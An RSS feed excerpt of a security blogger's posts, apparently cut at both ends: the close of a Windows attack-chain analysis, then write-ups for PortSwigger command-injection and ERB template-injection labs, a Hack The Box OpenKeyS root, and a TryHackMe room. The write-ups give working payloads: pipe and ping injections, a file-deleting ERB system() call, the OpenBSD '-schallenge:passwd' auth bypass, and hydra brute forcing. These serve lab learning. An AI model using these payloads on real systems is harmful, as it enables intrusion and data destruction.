executes the supplied command     |<br>| `pu^shd`                    | Obfuscated form of `pushd`                                  |<br>| `\\domain@SSL\&lt;identifier&gt;` | Remote WebDAV path over HTTPS-compatible transport          |<br>| `&amp;`                         | Runs the next command after the first command completes     |<br>| `rundll32`                  | Legitimate Windows binary used to execute DLL-like payloads |<br>| `cb.i,#1`                   | Non-standard payload executed through Export Ordinal 1      |</pre><h3>A Small Trick That Matters: pu^shd</h3><p>One particularly interesting detail involves command-line obfuscation.</p><p>Instead of:</p><pre>pushd</pre><p>the command may use:</p><pre>pu^shd</pre><p>To a human analyst the difference is obvious.</p><p>To Windows, both commands function the same.</p><p>To simplistic detection logic, however, they may appear different enough to evade matching rules.</p><p>This isn’t advanced obfuscation.</p><p>It’s simple.</p><p>And that’s exactly why it works.</p><h3>The Story Doesn’t End with Rundll32</h3><p>Many investigations stop once the initial payload is identified.</p><p>That’s a mistake.</p><p>In observed activity, downstream processes such as dllhost.exe may appear after the Rundll32 stage. These secondary processes can indicate that the original payload was merely a loader or staging component rather than the final malware itself.</p><p>This is where defenders should begin asking:</p><ul><li>What processes appeared after Rundll32?</li><li>What network connections followed execution?</li><li>Were additional payloads deployed?</li><li>Did new files appear in user-accessible directories?</li><li>Was credential theft or remote access attempted?</li></ul><p>The initial command may be only the beginning of a much larger intrusion.</p><h3>Final Thoughts</h3><p>The biggest lesson from this attack chain is simple:</p><p><strong>Context beats individual indicators.</strong></p><p>PowerShell is not inherently malicious.</p><p>WebDAV is not inherently malicious.</p><p>Rundll32 is not inherently malicious.</p><p>But when user-driven execution leads to RunMRU artifacts, Program Compatibility Assistant, hidden PowerShell/WMI execution, WebDAV access, Rundll32 ordinal execution, and downstream process activity, the picture becomes much clearer.</p><p>As defenders, we need to stop hunting individual binaries and start hunting behavioral chains.</p><p>Because while domains and filenames will continue to change, the attacker still needs to move through the same sequence of actions.</p><p>And that’s where the best detection opportunities live.</p><p><strong>Stay curious. Stay skeptical. And keep hunting.</strong> 🛡️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a936354282a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind OS command injection with Time Delays]]></title>
            <link>https://jaypomal.medium.com/blind-os-command-injection-with-time-delays-43f6e11687ae?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/43f6e11687ae</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Fri, 05 Mar 2021 21:18:12 GMT</pubDate>
            <atom:updated>2021-03-05T21:18:12.188Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey guys here i am back again with another lab on OS command injection from portswigger. In my previous blog i have demonstrated lab of OS command injection simple case from portswigger. which you can find it here <a href="https://jaypomal.medium.com/os-command-injection-portswigger-lab-1-os-command-injection-simple-case-d622aeb059"><strong>https://jaypomal.medium.com/os-command-injection-portswigger-lab-1-os-command-injection-simple-case-d622aeb059</strong></a> In this blog we will be discussing second lab from portswigger on OS command injection which is Blind OS command injection with time delays. So let’s get on with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*ZujKXHWBmn8-rugJ.jpg" /></figure><blockquote>So what is blind OS command injection?</blockquote><p>well as i have already discussed about OS command injection in my previous blog, blind OS command injection works the same but instead of getting output back to web app in blind OS command injection we don’t get output. So how do we know that our if there exists a blind OS command injection. well one technique is with time delay. An OS command that can take some time to execute will be perfect to test it.</p><p>So In this lab when we access it we will be presented with a web application. As we can see below. In which we have a functionality of submit feedback form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2PBb7ElCozMsAdQXa6IeyQ.png" /></figure><p>So first of all let us visit that and use it and analyze it. And as we can see that there is a functionality for which user can submit their feedback.So let’s check that how that feedback form works. I have placed random value in the form and summited it and captured the request on the burp suits for further analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uuj-vVipS9w4yhb53ylfIg.png" /></figure><p>As we capture the request of our feedback form in burp suite we can see that multiple parameters are passing with user input and we have to test them all for command injection. As we know that this lab is for blind is command injection we have to test blind OS command injection with a command which takes some time to execute so that we can know that our command has run successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PPh8fG0pWTi9UqF99MQsJw.png" /></figure><p>One such command would be ping command. we can supply ping command with least 10 packets to be sent so that it will take some time to execute it completely and we can make our decision on possible blind OS command injection. Firstly i tried with name parameter but it did not worked. Then i tried with email parameter and guess what we get our desired output because of improper user input validation.</p><blockquote>Command : ping -c 10 127.0.0.1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nE0j9GRmlgRYnaGM11p2AA.png" /></figure><p>As we can see from below picture that once we send the request and it performs as we expected, our lab is solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbTHDOeHYfhym7D9-CnGFA.png" /></figure><p>Bingo, that’s it. we have done it. I hope you get something good from this by investing your valuable time. Please leave a comment if you have any doubt.</p><p>And as always i say,</p><p>Keep Enumerating. Enumeration Is The Key.</p><p>Happy Hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43f6e11687ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Os Command Injection (Portswigger) : LAB -1 : OS command injection, simple case]]></title>
            <link>https://jaypomal.medium.com/os-command-injection-portswigger-lab-1-os-command-injection-simple-case-d622aeb059?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d622aeb059</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[os-command-injection]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Sun, 28 Feb 2021 11:43:23 GMT</pubDate>
            <atom:updated>2021-02-28T11:43:23.175Z</atom:updated>
            <content:encoded><![CDATA[<h3>Os Command Injection (Portswigger) : LAB -1 : OS command injection, simple case</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g4HnINaSjrRNy4NT.jpg" /></figure><p>Hey folks, how’s going? i hope everybody is okay and doing well. So today we are going to do some labs of OS Command Injection from portswigger. If you don’t know about portswigger i would recommend you all to must visit it if you are beginner in pen-testing. <a href="https://portswigger.net/"><em>https://portswigger.net/</em></a></p><p>So we will be discussing all labs of the OS command injection in this document so sit tight and enjoy.</p><p>First of all what is OS command injection?</p><p>The better question is what is command injection? well a command injection is way by which an attacker can execute arbitrary commands because of improper data processing or some vulnerability. A command injection can lead to various attacks like JavaScript code injection, HTML Template injection, etc. One such attack is OS Command Injection. In which attacker can execute arbitrary OS commands on target Operating System or server where application is deployed.</p><p>Okay so let’s get started.</p><h3>LAB 1 : OS command injection, simple case</h3><p>This lab contains an <a href="https://portswigger.net/web-security/os-command-injection">OS command injection</a> vulnerability in the product stock checker. The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response. To solve the lab, execute the whoami command to determine the name of the current user.</p><p>In the lab we have been presented with the web application. which has listed lot of products.As we can see in below picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FRV65wRp6kEYaEa7wydmyA.png" /></figure><p>Upon viewing view details of an product we get detail information about that product and we can see upon visiting a specific product a parameter named <strong>productId </strong>is being set. Well this is where we can try to preform command injection and i did but no luck because it fetches information by using an API which restrict all special characters. But as there is another functionality which allows us check for availability of stocks. As we can see in below picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gMil7vAEK34ZHzHoLGJ5nA.png" /></figure><p>Upon using the functionality to check for stocks we can see that we are getting some results. But we are not getting any changes in parameter. Maybe there is something hidden going on in the request that we are not aware about. This is where the tool burp suite comes in the picture. Burp suite is web proxy tool to analyzing the requests or to modify requests or much more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lQ6O6siylJU9I5CdbdJKDg.png" /></figure><p>As we can see in above picture that when we capture the request of accessing the functionality of stock checker we see a hidden parameter called <strong>storeId </strong>is being used to fetch information. As we have already tested <strong>productId</strong> parameter for OS command injection and it is not vulnerable to it, now it is time to check for <strong>storeId </strong>parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OPisqPtpznDiJOjiboK5dA.png" /></figure><p>As we capture the request in burp suite now it is time to test OS command injection on the hidden parameter named <strong>storeId</strong>. We can use an special character to execute multiple commands at once. As we can in above picture that we use a pipe character to execute OS command on back-end server to test command injection. There are many other special characters that we can use like <strong>‘ </strong>and <strong>&amp; </strong>and many more. You can test it by yourself. As we forward the above edited request we can see the result in below picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HxS4yIrfo2GtfhUOkXPJQg.png" /></figure><p>As we can see that our arbitrary command run successfully from above picture. Means we can execute OS command injection.We can also test for some other command like <strong>pwd </strong>or <strong>uname -a</strong> or <strong>netstate </strong>or etc. you can test it by yourself but i have tested one other command <strong>pwd </strong>as we can see in below picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ch2LlglgrIYxwdir7AzQg.png" /></figure><p>As we forward this request we can see that our command run successfully and given us information about present working directory of target system as we can see in below picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*25MAji6DEDy3rr8_5M7igw.png" /></figure><p>And that was it for this lab.</p><p>Thank you everyone for taking some time and read it. I hope you have some good knowledge from this. If there is anything you have to say or any doubt you can post it in the comment section.</p><h3><strong>keep enumerating. Enumeration is the key.</strong></h3><p>Happy hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d622aeb059" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server Side Template Injection : Lab 1(Basic SSTI)]]></title>
            <link>https://jaypomal.medium.com/server-side-template-injection-lab-1-basic-ssti-ff2acf1d2d84?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff2acf1d2d84</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[template-injection]]></category>
            <category><![CDATA[ssti]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Wed, 23 Dec 2020 17:27:29 GMT</pubDate>
            <atom:updated>2020-12-23T17:29:36.497Z</atom:updated>
            <content:encoded><![CDATA[<h3>Server Side Template Injection : Lab 1(Basic SSTI)</h3><p>Hey folks today we are going to learn about basic server side template injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*Aanv3Ke8a9xZsjTU" /><figcaption><a href="https://gauravnarwani.com/injecting-6200-to-1200/">https://gauravnarwani.com/injecting-6200-to-1200/</a></figcaption></figure><p>So what is server side template injection? well , a SSTI is where a attacker can inject malicious native template syntax command to be executed at server-side. It can occur when user input is directly concatenate into template rather than passed as data and this is the one reason why SSTI can arise which can allow attackers to execute arbitrary commands and sometimes allow to gain full control of server.</p><p>There are number of impacts of server side template injection. It can expose your website to verity of attacks depending of how your template is being used. In very rare case it might not affect that much otherwise it has various dangerous threats like at server side a possible Remote code execution and taking full control of back-end server and can further leverage internal infrastructure. Also if remote code execution is possible attacker still can read sensitive data and arbitrary file read from server using server side template injection.</p><p>okay, so enough of theory let’s do some practial. The lab i am using here is available on portswigger. you can find it here. <a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic">https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic</a></p><p>The Lab has following description, “This lab is vulnerable to <a href="https://portswigger.net/web-security/server-side-template-injection">server-side template injection</a> due to the unsafe construction of an ERB template.</p><p>To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos&#39;s home directory.”</p><p>so we have to delete the morale.txt file from carlo’s home directory and also we have information about template engine is being used “ERB”</p><p>So when we access the lab we have this web-page and when i tried to access view details of first item it gave me this message.<em> “Unfortunately this product is out of stock”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JgWoxTdnLwcB9OYxz6V5aw.png" /></figure><p>We can see in URL that a message parameter is being set with message displayed in web page. So let us try passing some data through message parameter as see how it renders it. Here below we can see that i tried to pass something of my own and it just printed it in web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8LdSceOokx7p5TeSsNrKQ.png" /></figure><p>Now at this time we need to identify if server side template injection can be implemented here or not. In order to do that we first need to identify which template is being used. To do that we may try different template syntax or try to generate an error if an error revel some sensitive information like template being used in the website. Lucky here we have already given which template is being used and that is “ERB(Embedded ruby)”. So i quickly googled syntax of ERB template.</p><blockquote>Syntax : &lt;%= Expression %&gt;</blockquote><p>so let’s try it. I performed a multiplication expression to test. So we need to pass &lt;%= 7*7 %&gt; this to message parameter to test SSTI. But we can’t just simply supply like this, we need that to be URL encoded. And once we do we get our desired result. We have a potential SSTI here as we can see in below picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yT31cx5fVh57FL_GSixqWA.png" /></figure><p>After confirming SSTI let’s enumerate more. let’s try to run system command to get some information. As we now an ERB template looks like a plain-text document interspersed with tags containing Ruby code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sQmmb6YGiT7A8TPoF_GZ5w.png" /></figure><p>As we can see template uses ruby code, we can search how can we perform system command using ruby. it looks like it’s very easy. so our input will be</p><p>&lt;%= system(id) %&gt;</p><p>of course it will be URL encoded. and once we execute we get really good information as we can see below picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r_5RTRfSPjF-iTS85bN5JA.png" /></figure><p>Now that we now we can execute arbitrary code. the let’s get done with what our lab needs. well it needs to delete morale.txt file from Carlo’s home directory.</p><p>So we have to pass following input to message parameter as URL encoded,</p><blockquote>&lt;%= system(“rm /home/carlos/morale.txt”) %&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lTl1aD7lnzFM61USDVl68A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q7TuIPntFavUmxjPgPtVCA.png" /></figure><p>And we can see from above picture that after executing command it deletes the morale.txt and we have solve our lab.</p><p>You can try to get reveres-shell from here. you can just put ruby reverse shell on the system and get a reveres-shell on your system on your system. But i will leave that to you.</p><p>Thank you for tacking some time to read this and i hope you get some knowledge after reading this. If you to read and practice more on this topic i would recommend you guys to visit PortSwigger website.</p><blockquote>Thank you.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff2acf1d2d84" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box : OpenKeyS Writeup]]></title>
            <link>https://jaypomal.medium.com/hack-the-box-openkeys-writeup-c09e35ba925a?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c09e35ba925a</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[openkeys]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Thu, 17 Dec 2020 12:52:53 GMT</pubDate>
            <atom:updated>2020-12-17T12:52:53.456Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box : OpenKeyS Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/0*c_uzsT38MK3tIn_T.png" /><figcaption>OpenKeyS</figcaption></figure><p>Hey guys, today we are going to solve a machine called “<strong>OpenKeyS</strong>” from the hack the box site. If you don’t know what hack the box is i would recommend you to visit the site https://www.hackthebox.eu/ . You have to hack your way in order to access the site. It is a great medium to practice your penetration testing skills. They have lots of active machine which are free to access and all the retired machines are paid. By the way this is my first write up for the hack the box. okay, let’s get started.</p><p>As always we will start with N-map scan. We can see that we have 2 ports open. port 22 running ssh service and 80 running <strong>HTTP </strong>service . We can see that it uses <strong>OpenBSD </strong>web server. This is a valuable information which can be used later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_t7EWUISRLylFADGOieouw.png" /><figcaption>Nmap</figcaption></figure><p>After nmap when i tried to access website from browser and it has a login prompt on index.php page. I tried to use sql injection but did not worked. So i directly went for directory brute forcing using go-buster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-CrPIzP6rrxz1ejav4oVQ.png" /><figcaption>Go-Buster</figcaption></figure><p>As we can see that go-buster has some interesting output. we have a /includes directory. lets check that out. It ha 2 files <strong><em>/auth.php</em></strong> and <strong><em>/auth.php.swp .</em></strong> /auth.php had nothing but /auth.php.swp had some interesting information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b4Q6f6BTKa5yoJOzm1aceg.png" /><figcaption>USER</figcaption></figure><p>We have a domain jenniferopenkeys.htb and a potential username “<strong>jennifer</strong>”. i put that domain in my /etc/hosts file accessed it in browser. and it has a login prompt. I tried to login with admin:admin but didn’t work. Also tried to preform sql injection and search for default username and password but did not worked and gave error of Authentication denied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I2yCvZ5yMMUUWpsfk_Z9Bg.png" /><figcaption>WEB</figcaption></figure><p>After some time spending here running Sqlmap and w fuzz and go buster, looked for vulnerability in OpenBSD for authentication and found one interesting vulnerability <strong>CVE 2019–19521</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQRjSr-Rzg4yQXEfg7qMpg.png" /><figcaption><a href="https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt">https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt</a></figcaption></figure><p>According to this vulnerability if i use username as<strong> “-schallenge:passwd”</strong> it will bypass the login prompt. I tried that and it actually did bypass the login prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*GQaP3jeeE_YfspSver1wyw.png" /></figure><p>But eventually No ssh key was found. I stuck here for a while and decided to check everything i done previously and i decided to check that auth.php and auth.php.swp file. Running file on auth.php.swp we get to know that it is a vim swap file owned by user jennifer.</p><p>Looking further at the swap file, we see that the username is begin accepted from the php<strong> $_REQUEST</strong> array, which means it can be set from GET or POST requests, as well as cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*AF-T3IIY4m1og1AUA20Iqw.png" /></figure><p>I directly fired up burp-suite. caught the request and added username as jennifer in cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*tpSL5xK6SMVLexac5Izoqw.png" /><figcaption>Burp</figcaption></figure><p>Forwarding the request and boom we have ssh private key of the user jennifer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*jtS7j-o7Eku9y6OsglsEUw.png" /><figcaption>OpenSSH private key</figcaption></figure><p>Using this private key to ssh into jennifer user. Give the appropriate permission (600) to key file and than execute the following command.</p><blockquote>Permissions of 600: The owner of the file has full read and write access privilege, while no other users have.</blockquote><blockquote><strong>Command : ssh jennifer@ip_address -i ssh.key</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oV3dgIQJtP9unGIbp4Jf5A.png" /><figcaption>user flag</figcaption></figure><p>And we get user flag. Now it’s time for privilege escalation to gain root access. In privilege escalation first i always look for <strong>SUID </strong>binaries using the find command but no luck. As we don’t have password for user jennifer we can not run <strong>sudo -l</strong> to check if user has anything that can be run as root. As i was wandering around i remembered that researching about OpenBSD authentication bypass vulnerability, i cam around this vulnerability OpenBSD local privilege escalation vulnerability in OpenBSD’s dynamic loader. The vulnerability could allow local users or malicious software to gain full root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*CpzyEPO8rCfBfkghHPZykw.png" /><figcaption>version</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*IbePtL0fN1cMaRKycYkq0Q.png" /><figcaption>vulnerability</figcaption></figure><p>I found this script at git hub. which is shell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HfvtvJXMQ9aoGAX1jQZgng.png" /><figcaption><a href="https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot">https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot</a></figcaption></figure><p>Copy the code and save it in file. Make it executable and run it. and boom……. you are root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cUIhV_ZEDZ-wmW6itg88zA.png" /><figcaption>Root Flag</figcaption></figure><p>Thank you for taking some time to read my write-up. Feel free to reach out to me and we can discuss it.</p><p>Keep Enumerating. Enumeration is the key.</p><blockquote>Thank you</blockquote><blockquote>Happy Hacking</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c09e35ba925a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Year of the Rabbit WalkThrough]]></title>
            <link>https://jaypomal.medium.com/tryhackme-year-of-the-rabbit-walkthrough-82c8994e5e55?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/82c8994e5e55</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[year-of-the-rabbit]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Sat, 03 Oct 2020 10:45:32 GMT</pubDate>
            <atom:updated>2020-10-03T10:58:39.475Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T_lHjRf1SzcAGIwS.png" /><figcaption><a href="https://tryhackme.com/room/yearoftherabbit">https://tryhackme.com/room/yearoftherabbit</a></figcaption></figure><p>Hello all, today we are going to get through a easy room named “Year of the Rabbit” on TryHackMe. If you don’t know what tryhackme is here is the website : https://tryhackme.com/ it is a website which allows you to practice your penetration skills. I highly recommended those who are new to penetration testing and those who want to learn and upgrade their linux skills use this to do it. There are lots of free rooms in the site. Okay, now direct to the room.</p><p>So let’s get started, First connect with your <strong>Openvpn </strong>id and deploy the room once you get the ip address of the room test it with ping command <strong>ping ip_address_of _room</strong> to be sure that room is accessible. once it’s done we can start our enumeration.</p><p>First we will start with our nmap scan. command would be</p><h4><strong>Command : nmap -sC -sV 10.10.156.211</strong></h4><p>Here -<strong>sC </strong>for default scripts and -<strong>sV </strong>for version and os detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QrnxFBQF4h6qJPYrLVJQcw.png" /></figure><p>As we can see from our nmap scan result we have port <strong>80 </strong>is open and running. We have also port <strong>21(FTP)</strong> and port <strong>22(SSH)</strong> are open. So we can check out if there is any website running and as we do we found out that there is and it has only a default apache page running. When i looked at the source code i thought i might find some interesting thing but no luck.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U1GYeK1uJLTEa_JnguDxtQ.png" /></figure><p>So now it’s time for “<strong>Directory Brute-forcing</strong>” and <strong>Gobuster </strong>is a popular tool for that.</p><h4>Command : gobuster dir -u <a href="http://10.10.156.211/">http://10.10.156.211</a> -w /usr/share/wordlists/dirb/common.txt</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XONuHvaM-QyK0498HMoA1g.png" /></figure><p>We find out some interesting information there is “<strong>/assets”</strong> directory with status code <strong>300</strong>. we will check that out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LQE4FzJkW4LHS1spQBo4ZQ.png" /></figure><p>We have presented with 2 files and when i checked out “<strong>style.css”</strong> file we got something interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jsMf0tYYFVJGoUM0tM-mDQ.png" /></figure><p>We can see from above picture that it has a note “Nice to see someone checking the stylesheet. Take a look at the page : <strong>/sup3r_s3cr3t_fl4g.php</strong>”.</p><p>So we directly navigated to that that page and what we found is,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zlPCWIYvsuL9BeuCnG_UkQ.png" /></figure><p>As we can see that it says to disable the java-script. When pressed ok on above alert box it took me to a youtube page. So what i thought is if i disable the javascript i might get the information the page /sup3r_s3cr3t_fl4g.php.</p><p>So in-order to disable the java-script on your browser go to a new tab and type about:config and hit enter. In search bar type javascript and you will find a option javascript.enable. Just double click it and it’s value will be modified to <strong>false </strong>means we have disabled the java-script. I am here using firefox so, if you are using any other browser than do a quick google search to find out about how to disable java-script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1bfY1VSd_yWbidd0vzgOBw.png" /></figure><p>So once java-script is disabled we again navigate to that page. Once we do we find that,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z8s-gzOa9M1sw2Ko9az6SQ.png" /></figure><p>Well we got some text and a video. The text suggest that hint is in the video so i went for that but no luck. I tried directory brute forcing here but no luck. iI also tried bunch of other things but again no luck. After scratching my head for some time what i thought is, when i tried to access /sup3r_s3cr3t_fl4g.php first time it actually redirected me to a youtube video so maybe there is something funcky going around at the back-end and maybe. So what i thought is to fire up <strong>burp suite</strong> and capture the requests.</p><p>Now if you don’t know what burp suit is i recommand to check this medium story on burp suite. It’s a great post written by my friend. <a href="https://medium.com/cyber4people/setting-up-burp-suite-part-1-3f981530d90a">https://medium.com/cyber4people/setting-up-burp-suite-part-1-3f981530d90a</a> go through it and you will understand about it.</p><p>Now fire up the burp suite go to proxy tab and turn on intercept. Now visit /sup3r_s3cr3t_fl4g.php again. And you will see in the burp suite that we capturing some requests and we find out something very interesting from that,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rilx3PS9KfkqGxZA5Y6_NQ.png" /></figure><p>We can see that there is a hidden directory named “<strong>/WExYY2Cv-qU”</strong> which we were missing. Now quickly navigate to that directory and we get,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KgiNJCTSpj7nfTt-H4JeAQ.png" /></figure><p>we can see that we have a .<strong>png </strong>file. We will download that and enumerate it. I tried different things on that image like exiftool , file , etc. When i run strings on it i got some really interesting thing,</p><h4>Command : strings Hot_Babe.png</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhH2Z2fs25CFs8Nxw3KUWg.png" /></figure><p>We got the username for FTP and a list of passwords for that user name. We will save that those passwords in a text file named “pass.txt”.</p><p>Now that we have a user name and a password list, it’s time use “<strong>HYDRA</strong>”.</p><h4>Command : hydra -l ftpuser -P pass.txt ftp://10.10.156.211</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*077uq8x4WVKPsEyWUXZkxg.png" /></figure><p>And there we go we have found our password. Now we ftp to that user name.</p><h4>Command : ftp 10.10.156.211</h4><h4>password : 5iez1wGXKfPKQ</h4><p>once we login to ftp user we have a text file named Eli’s_Creds. We will download that by get command,</p><h4>Command : get Eli’s_Creds.txt</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J1ExLLbc8chBE__0FeSLfw.png" /></figure><p>We will cat that text file when we do we get some nonsense weird text,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AhTQSgxdakt-H8hqOlGEzQ.png" /></figure><p>This is an esoteric programming language named “<strong>Brain Fuck</strong>” . If you want to know more about it just go to wiki. So now we need to decode it. Iused this perticuler website <a href="https://www.dcode.fr/brainfuck-language">https://www.dcode.fr/brainfuck-language</a> to decode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NanzBfCWnq9aC0h4uTYx-Q.png" /></figure><p>So when i decoded it i got username as “eli” and password. We have seen from our nmap scan that there is a ssh port open.so we try ssh using these credentials.</p><h4>Command : ssh eli@10.10.156.211</h4><p>and then enter the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e9VgJNPpplelg0MiQj8HHA.png" /></figure><p>As we can see that once we login we have a message that says check our leet “<strong>s3cr3t” </strong>hiding place. So i think this is the hint and we will search that s3cr3t file or directory whatever it is. We can do this manually by visiting every directory but it will take time. Here the <strong>locate </strong>command will come handy and will save our lot of time.</p><h4>Command : locate s3cr3t</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dL2JgiScqdwV_aX_Afdizw.png" /></figure><p>As we can see that we have a hidden file starting with “.this_m3….” . We will cat that out and once we do we have a message from root. That describes “<strong>gwendoline</strong>” as potential user and “<strong>MniVCQVhQHUNI</strong>” as passwords. so we will switch user by,</p><h4>Command : su gwendoline</h4><p>with the password we got and now we are “gwendoline”. So we will go it’s home directory and we have found our user.txt file. Submmit that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5d_Cgs6oiGq6giRb1guSXA.png" /></figure><p>Now as per our room we have 2 questions. Get user and root flag and we have got our user flag and now it’s time for root flag means privilege escalation. First thing we do is to look for SUID binary if there is any set but no luck so we go for,</p><h4>Command : sudo -l</h4><p>to check if current user can run anything as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xjt9STLc8xQauuSjxicsmg.png" 